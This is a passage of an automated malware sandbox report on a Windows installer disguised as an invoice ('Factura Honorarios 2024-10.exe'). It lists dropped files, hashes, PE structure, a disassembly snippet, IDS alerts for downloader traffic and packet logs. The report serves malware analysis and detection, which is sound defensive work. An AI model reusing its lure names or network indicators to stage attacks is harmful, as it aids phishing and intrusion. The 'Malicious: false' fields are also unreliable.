SHA-256:	C05DA494E2F7E065EC53702A5157CAAF29F3B7B5F64DB002E46314C974DFC3DC
SHA-512:	640152FB94BBAFC8E0E70D3CB1D8695CA6380429DF62362C2A7FD37B756A2ECDDD528E61A4E0D01271B7774524D5539BFDD60073C60B5E0D9CE3DFDA14084CAD
Malicious:	false
Reputation:	low
Preview:	(.?.......&.........................................}h........................................................................................................................................r............................................9.................................,.h.................................... .............................j........._................................................................................................y.........................................................................Y...............}.................................S..................................................... ..............................t........................................G.....r...................#...................................^.................D(...........................w...................................................7........................................................v.......j.....................................0..]............................:........

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack\Iglus237\unsealer\Unfleeing\matematikopgavens.sti

Download File

Process:	C:\Users\user\Desktop\Factura Honorarios 2024-10.exe
File Type:	data
Category:	dropped
Size (bytes):	405024
Entropy (8bit):	1.253546703501196
Encrypted:	false
SSDEEP:	768:f3lph7tmvxpUH9uGV96eQ5s8ZSnGCwUWcZP4leLP98b+5rEWpJVLrVPxAvRGL6os:tM0/WVWP9bFn6odCJS2xUKQs9V
MD5:	71A43B445FEB255CCD6ED0735BA8646E
SHA1:	802661A11510197EAFEF582EDA537C4F9D7A9087
SHA-256:	F4D7CE34045D0AF74D7D972F30D745480A2A24D3109AECD02542E8DD9A1B67A0
SHA-512:	65D0349DEC40981594BE25521FD9362DDBE00B19B0DEAA5CB0B61B69E8BCCD6786B6260E316F94FFACDE21ECE2533392FC8010B6B4906ADA241FF52C2B6F250C
Malicious:	false
Preview:	......................p.....E.........................................m................I................................................................................................................................................................................................e......................................G...............................k.D........d......T...."......................................o.........G.............................................................I..............................f.................B.........................r.....t..................................................*...............CV.......................w............................N.rn....................................I...p.................]................q...........................T.............................................1...l......6.....$..................................................B...........................6........................n....................W..............8

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack\Iglus237\unsealer\Unfleeing\tipssensationens.hve

Download File

Process:	C:\Users\user\Desktop\Factura Honorarios 2024-10.exe
File Type:	data
Category:	dropped
Size (bytes):	431630
Entropy (8bit):	1.2527816157775533
Encrypted:	false
SSDEEP:	1536:v+u4VL9fsUAfe4S19OZQ+h46hM85bJjsIL2aAptl:GjVLuUAml19OHhiB
MD5:	018AA244E5BE97B5F10208FE5442D2D1
SHA1:	6DBA0C6E825A958989336905F42FA55AA6885D36
SHA-256:	08BB1A2DABCA5B76646EFFC730010ABCA15117C0D6D02C46A74627B6D294E53D
SHA-512:	089C87E209FBC3DF1AEB8937E3AD901F06E74A05EBFADD5C77930B34E7F0C96695D29CBDBACB758F4D5A5B62F9EF2BE373EBB14CEBA2006F84BA31A29E2347C5
Malicious:	false
Preview:	............o...............................................q...&.R.........................................................]....................................................................................................j.....................m.........\|.......................#..........................................................>........H....................................U...........................>....=........j..................................................................Y......................F............].i.................................$......................................................I....".....c................................................k.........L................................/...T............................5...............................T.................A......................q......................................=......................n..................................................%............e...+...........I............l...........

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack\Iglus237\unsealer\akvarierne.lbe

Download File

Process:	C:\Users\user\Desktop\Factura Honorarios 2024-10.exe
File Type:	data
Category:	dropped
Size (bytes):	458430
Entropy (8bit):	1.24002506056915
Encrypted:	false
SSDEEP:	768:b/fuZKLkY1DA6PEAD/xK5aMfuDI3WwcBV9tkA6vkn1KlvlTL+p22DM54IGNZX4+7:rEAUsCn4jI9gMGhUyNHjonsBhYIB
MD5:	1E595CB18950E440FF9CEA8E0A018EF9
SHA1:	9D85D8E450EA472C9345FA9AF7327DFD3822900B
SHA-256:	DF3FCF30B3E33E29F3B92285000C8FCF6487DB6786427EE1950C55B8BF6328C1
SHA-512:	41D8D2F3A0D56CB47DB8C46B7F685971CABA069044257B7317F196BC1387142AE24CC03BC1647B36AA0F410EC1B63E6BA5CC408D914B8DD1FEF89D33A78B9841
Malicious:	false
Preview:	........i.....................................".......a..................................2...Q................................q.....>............................N............7.....................A...Z...............................................................i........s.................................8....s.......................K....................................................................m.........................D..............8...~..................................u...............K.................,.....................e..........U............................................................f..%......................N......................9.................................................5..............................................................r.............<..............&...........................................k..........................................A.....................................................z......................3.............................

C:\Users\user\AppData\Local\Temp\nsn497A.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\Factura Honorarios 2024-10.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11264
Entropy (8bit):	5.801108840712148
Encrypted:	false
SSDEEP:	192:e/b2HS5ih/7i00eWz9T7PH6yeFcQMI5+Vw+EXWZ77dslFZk:ewSUmWw9T7MmnI5+/F7Kdk
MD5:	FC90DFB694D0E17B013D6F818BCE41B0
SHA1:	3243969886D640AF3BFA442728B9F0DFF9D5F5B0
SHA-256:	7FE77CA13121A113C59630A3DBA0C8AAA6372E8082393274DA8F8608C4CE4528
SHA-512:	324F13AA7A33C6408E2A57C3484D1691ECEE7C3C1366DE2BB8978C8DC66B18425D8CAB5A32D1702C13C43703E36148A022263DE7166AFDCE141DA2B01169F1C6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: Shipping documents 00039984849900044800.exe, Detection: malicious, Browse Filename: Fa24c148.exe, Detection: malicious, Browse Filename: rFa24c148.exe, Detection: malicious, Browse Filename: Remittance Copy For Advance Payment PO _PDF.exe, Detection: malicious, Browse Filename: PO OCTOBER 2024 _ PDF.exe, Detection: malicious, Browse Filename: Remittance Copy For Advance Payment PO _PDF.exe, Detection: malicious, Browse Filename: POP.exe, Detection: malicious, Browse Filename: POP.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.Evo-gen.20658.28793.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.Evo-gen.20658.28793.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1...u.u.u...s.u.a....r.!..q....t....t.Richu.........................PE..L.....oS...........!.................'.......0...............................`.......................................2.......0..P............................P.......................................................0..X............................text............................... ..`.rdata..C....0......."..............@..@.data...x....@.......&..............@....reloc..>....P.......(..............@..B................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.491341092935457
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Factura Honorarios 2024-10.exe
File size:	996'039 bytes
MD5:	43a7d0b4c9aefb5dd8c1fbfad057b4b9
SHA1:	abcfcabf7f909fc140e8e00bfaeea404e23fca76
SHA256:	edf915e141af931f3bf0174a430576b7f7493449bdb1a4275515d0fe0a24fd8c
SHA512:	b4dc0386695b44859676f3c56f8712c4df27cdf1adf997993467cf2b73067fae64d503b496ebed74db386524f242e34e119c6f49352fa13b9871caa5a6c69845
SSDEEP:	24576:ynE9WTwAbnGY2rzGct2YBD9w254CQ+K1Q:yEqSfrzGctTDOBCL
TLSH:	A82523093ED8E02BC1429D363A77CB74D575AC182A66974B7B71BB3F6B302D26D082D4
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1.D9u.ju.ju.j..ujw.ju.+j..j..wjd.j!..j..j..,jt.jRichu.j........PE..L.....oS.................^..........1.......p....@

File Icon


Icon Hash:	b8333351accc5531

Static PE Info

General

Entrypoint:	0x4031ff
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x536FD795 [Sun May 11 20:03:33 2014 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	7ed0d71376e55d58ab36dc7d3ffda898

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push ebp
push esi
push edi
push 00000020h
xor ebp, ebp
pop esi
mov dword ptr [esp+14h], ebp
mov dword ptr [esp+10h], 004092D8h
mov dword ptr [esp+1Ch], ebp
call dword ptr [00407034h]
push 00008001h
call dword ptr [00407134h]
push ebp
call dword ptr [004072ACh]
push 00000008h
mov dword ptr [00429258h], eax
call 00007EFC047AF124h
mov dword ptr [004291A4h], eax
push ebp
lea eax, dword ptr [esp+34h]
push 000002B4h
push eax
push ebp
push 00420658h
call dword ptr [0040717Ch]
push 004092C0h
push 004281A0h
call 00007EFC047AED8Fh
call dword ptr [00407138h]
mov ebx, 00434000h
push eax
push ebx
call 00007EFC047AED7Dh
push ebp
call dword ptr [0040710Ch]
cmp word ptr [00434000h], 0022h
mov dword ptr [004291A0h], eax
mov eax, ebx
jne 00007EFC047AC28Ah
push 00000022h
mov eax, 00434002h
pop esi
push esi
push eax
call 00007EFC047AE7CEh
push eax
call dword ptr [00407240h]
mov dword ptr [esp+18h], eax
jmp 00007EFC047AC34Eh
push 00000020h
pop edx
cmp cx, dx
jne 00007EFC047AC289h
inc eax
inc eax
cmp word ptr [eax], dx
je 00007EFC047AC27Bh
add word ptr [eax], 0000h

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x7494	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x62000	0x3a210	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x7000	0x2b8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x5cf6	0x5e00	eee41166f9daa8eae9e9b5d18d2d3c6e	False	0.6619431515957447	data	6.441066052438077	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x7000	0x1354	0x1400	2f90a087fd075d2b61c65e6db9ea1417	False	0.4314453125	data	5.037502749366	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x9000	0x20298	0x600	eaa9954d4bef1481fc1bddefea6bf878	False	0.4609375	data	3.6563423252168445	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x2a000	0x38000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x62000	0x3a210	0x3a400	f91af9b4d232be8e11695918d7fec713	False	0.43928547478540775	data	4.7460567769423365	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x623b8	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 67584	English	United States	0.26944575890216493
RT_ICON	0x72be0	0xb6ac	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.988794799418356
RT_ICON	0x7e290	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 38016	English	United States	0.3126708009249527
RT_ICON	0x87738	0x67e8	Device independent bitmap graphic, 80 x 160 x 32, image size 26560	English	United States	0.32300751879699247
RT_ICON	0x8df20	0x5488	Device independent bitmap graphic, 72 x 144 x 32, image size 21600	English	United States	0.3179297597042514
RT_ICON	0x933a8	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	United States	0.32646433632498817
RT_ICON	0x975d0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.36317427385892115
RT_ICON	0x99b78	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.40150093808630394
RT_ICON	0x9ac20	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.44426229508196724
RT_ICON	0x9b5a8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.48936170212765956
RT_DIALOG	0x9ba10	0x100	data	English	United States	0.5234375
RT_DIALOG	0x9bb10	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x9bc30	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0x9bcf8	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x9bd58	0x92	data	English	United States	0.7191780821917808
RT_VERSION	0x9bdf0	0x114	data	English	United States	0.6086956521739131
RT_MANIFEST	0x9bf08	0x305	XML 1.0 document, ASCII text, with very long lines (773), with no line terminators	English	United States	0.5614489003880984

Imports

DLL	Import
KERNEL32.dll	CompareFileTime, SearchPathW, SetFileTime, CloseHandle, GetShortPathNameW, MoveFileW, SetCurrentDirectoryW, GetFileAttributesW, GetLastError, GetFullPathNameW, CreateDirectoryW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, ExitProcess, SetEnvironmentVariableW, GetWindowsDirectoryW, GetTempPathW, SetFileAttributesW, ExpandEnvironmentStringsW, LoadLibraryW, lstrlenW, lstrcpynW, GetDiskFreeSpaceW, GlobalUnlock, GlobalLock, CreateThread, CreateProcessW, RemoveDirectoryW, lstrcmpiA, CreateFileW, GetTempFileNameW, lstrcpyA, lstrcpyW, lstrcatW, GetSystemDirectoryW, GetVersion, GetProcAddress, LoadLibraryA, GetModuleHandleA, GetModuleHandleW, lstrcmpiW, lstrcmpW, WaitForSingleObject, GlobalFree, GlobalAlloc, LoadLibraryExW, GetExitCodeProcess, FreeLibrary, WritePrivateProfileStringW, SetErrorMode, GetCommandLineW, GetPrivateProfileStringW, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, MulDiv, MultiByteToWideChar, WriteFile, lstrlenA, WideCharToMultiByte
USER32.dll	EndDialog, ScreenToClient, GetWindowRect, RegisterClassW, EnableMenuItem, GetSystemMenu, SetClassLongW, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, wsprintfW, CreateWindowExW, SystemParametersInfoW, AppendMenuW, CreatePopupMenu, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, GetDC, SetWindowLongW, LoadImageW, SendMessageTimeoutW, FindWindowExW, EmptyClipboard, OpenClipboard, TrackPopupMenu, EndPaint, ShowWindow, GetDlgItem, IsWindow, SetForegroundWindow
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW
ADVAPI32.dll	RegCloseKey, RegOpenKeyExW, RegDeleteKeyW, RegDeleteValueW, RegEnumValueW, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumKeyW
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	CoCreateInstance, CoTaskMemFree, OleInitialize, OleUninitialize
VERSION.dll	GetFileVersionInfoSizeW, GetFileVersionInfoW, VerQueryValueW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-30T14:19:19.475594+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49802	216.58.206.46	443	TCP
2024-10-30T14:19:25.417106+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49835	132.226.8.169	80	TCP
2024-10-30T14:19:27.010906+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49835	132.226.8.169	80	TCP
2024-10-30T14:19:27.745870+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49852	188.114.97.3	443	TCP
2024-10-30T14:19:28.729743+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49859	132.226.8.169	80	TCP
2024-10-30T14:19:31.328178+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49877	188.114.97.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 30, 2024 14:19:18.153915882 CET	49802	443	192.168.2.4	216.58.206.46
Oct 30, 2024 14:19:18.153944016 CET	443	49802	216.58.206.46	192.168.2.4
Oct 30, 2024 14:19:18.154020071 CET	49802	443	192.168.2.4	216.58.206.46
Oct 30, 2024 14:19:18.168041945 CET	49802	443	192.168.2.4	216.58.206.46
Oct 30, 2024 14:19:18.168056965 CET	443	49802	216.58.206.46	192.168.2.4
Oct 30, 2024 14:19:19.031179905 CET	443	49802	216.58.206.46	192.168.2.4
Oct 30, 2024 14:19:19.031303883 CET	49802	443	192.168.2.4	216.58.206.46
Oct 30, 2024 14:19:19.032404900 CET	443	49802	216.58.206.46	192.168.2.4
Oct 30, 2024 14:19:19.032468081 CET	49802	443	192.168.2.4	216.58.206.46
Oct 30, 2024 14:19:19.091212034 CET	49802	443	192.168.2.4	216.58.206.46
Oct 30, 2024 14:19:19.091228008 CET	443	49802	216.58.206.46	192.168.2.4
Oct 30, 2024 14:19:19.091587067 CET	443	49802	216.58.206.46	192.168.2.4
Oct 30, 2024 14:19:19.091651917 CET	49802	443	192.168.2.4	216.58.206.46
Oct 30, 2024 14:19:19.095460892 CET	49802	443	192.168.2.4	216.58.206.46
Oct 30, 2024 14:19:19.139326096 CET	443	49802	216.58.206.46	192.168.2.4
Oct 30, 2024 14:19:19.475590944 CET	443	49802	216.58.206.46	192.168.2.4
Oct 30, 2024 14:19:19.475687027 CET	49802	443	192.168.2.4	216.58.206.46
Oct 30, 2024 14:19:19.475864887 CET	49802	443	192.168.2.4	216.58.206.46
Oct 30, 2024 14:19:19.476197958 CET	443	49802	216.58.206.46	192.168.2.4
Oct 30, 2024 14:19:19.476345062 CET	49802	443	192.168.2.4	216.58.206.46
Oct 30, 2024 14:19:19.503093004 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:19.503122091 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:19.506413937 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:19.506685972 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:19.506705046 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:20.605212927 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:20.605365038 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:20.610321999 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:20.610332012 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:20.610631943 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:20.613230944 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:20.613746881 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:20.655335903 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.206110954 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.206255913 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.214302063 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.214406013 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.323596001 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.323667049 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.323740005 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.323766947 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.323829889 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.323829889 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.323843956 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.323905945 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.326380968 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.326445103 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.326461077 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.326531887 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.330334902 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.330395937 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.330425978 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.330490112 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.339772940 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.339858055 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.339874983 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.339926004 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.348100901 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.348212004 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.348227024 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.348328114 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.356818914 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.356901884 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.356931925 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.356983900 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.366513014 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.366628885 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.366656065 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.367331028 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.374166965 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.374259949 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.374280930 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.374377012 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.384385109 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.384521961 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.384594917 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.384653091 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.442317009 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.442392111 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.442425966 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.442455053 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.442455053 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.442470074 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.442504883 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.442625999 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.442640066 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.442719936 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.442725897 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.442833900 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.447084904 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.447139978 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.447165966 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.447171926 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.447196007 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.447241068 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.447591066 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.447643995 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.447659016 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.447664976 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.447691917 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.447727919 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.447815895 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.447870970 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.447887897 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.447943926 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.449472904 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.449553967 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.449559927 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.449640989 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.456883907 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.456931114 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.456962109 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.456971884 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.457017899 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.457017899 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.461626053 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.461726904 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.461733103 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.461821079 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.466922045 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.467008114 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.467015028 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.467089891 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.472877026 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.472939014 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.472945929 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.473004103 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.478348017 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.478449106 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.478461981 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.478513956 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.484421015 CET	443	49809	142.250.185.193	192.168.2.4
Oct 30, 2024 14:19:23.484549046 CET	49809	443	192.168.2.4	142.250.185.193
Oct 30, 2024 14:19:23.484561920 CET	443	49809	142.250.185.193	192.168.2.4
